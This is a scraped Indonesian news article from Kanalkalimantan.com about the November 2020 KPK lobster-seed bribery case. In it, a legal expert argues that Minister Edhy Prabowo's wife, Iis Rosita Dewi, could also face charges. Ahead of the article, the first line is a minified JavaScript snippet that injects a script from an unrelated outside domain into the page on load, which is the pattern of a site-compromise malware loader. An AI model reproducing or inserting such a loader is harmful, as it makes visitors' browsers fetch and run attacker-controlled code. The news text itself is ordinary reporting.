(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Meski kembali dilepas setelah sempat ditangkap, Iis Rosita Dewi, istri Menteri Kelautan dan Perikanan non-aktif, Edhy Prabowo disebut berpeluang menyusul suaminya yang kini sudah resmi ditetapkan sebagai tersangka oleh KPK.
Pakar Hukum Universitas Al -Azhar, Suparji Ahmad mengatakan, barang-barang mewah seperti tas Hermes dan jam Rolex yang dibelikan Edhy di Amerika Serikat dari uang suap izin ekspor benih -lobster bisa menjadi pintu masuk KPK memproses Iis.
Suparji juga memintA agar KPK menpertanyakan alasan KPK tidak menetapkan Iis sebagai tersangka, meski ditemukan fakta jika barang mewah yang dibelanjakan suaminya untuk anggota Komisi V Fraksi Gerindra itu.
“KPK harus menjelaskan alasannya tidak jadi tersangka. Karena kalau dilihat dari status yang bersangkutan dan fakta ada barang yang diterima. Patut untuk dilakukan proses hukum kepada yang bersangkutan (Iis Rosita),” kata Suparji kepada Suara.com, Senin (30/11/2020).
Suparji juga berharap KPK dapat transparan mengusut kasus benih suap izin ekspor benih lobster ini. Apalagi, diduga turut menyeret pihak-pihak lain.
“Hendaknya KPK transparan mengusut kasus ini. Ya, harus mendalami dengan cepat. Suaya ada kepastian dan tidak menimbulkan spekulasi,” tutup Suparji.
Sebelumnya, dalam kontruksi perkara suap benih lobster, Edhy diduga menerima suap mencapai Rp 3,4 miliar dan 100 ribu dolar Amerika Serikat. Uang itu sebagian diduga digunakan Edhy bersama istrinya untuk berbelanja tas hermes, sepeda, hingga jam rolex di Amerika Serikat.
Seperti diketahui, Edhy bersama istrinya Iis Rosita Dewi ditangkap dalam operasi tangkap tangan tim satgas KPK di Bandara Soekarno Hatta, Tanggerang pada Rabu (25/11/2020) dini hari.
Edhy ditangkap di Bandara Soetta, usai melakukan kunjungan di Honolulu, Hawai, Amerika Serikat.
Dalam OTT itu, KPK sempat mengamankan sebanyak 17 orang. Namun, dalam gelar perkara yang dilakukan penyidik antirasuah dan pimpinan hanya tujuh orang yag ditetapkan tersangka termasuk Edhy.
Sementara istrinya, Iis Rosita Dewi, lolos dari jeratan KPK. Sehingga, ia dipulangkan dan hanya menjalani pemeriksaan intensif.
Edhy menjadi tersangka bersama enam orang lainnya yakni stafsus Menteri KKP, Safri; Pengurus PT ACK, Siswadi; staf isteri Menteri KKP, Ainul Faqih; dan pemberi suap Direktur PT DPP, Suharjito. Kemudian, Andreau Pribadi Misata selaku stafsus Menteri KKP dan Amiril Mukminin pihak swasta.
Mereka pun telah dilakukan penahanan selama 20 hari. Sejak Rabu (25/11/2020) sampai (14/12/2020). (Suara.com)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.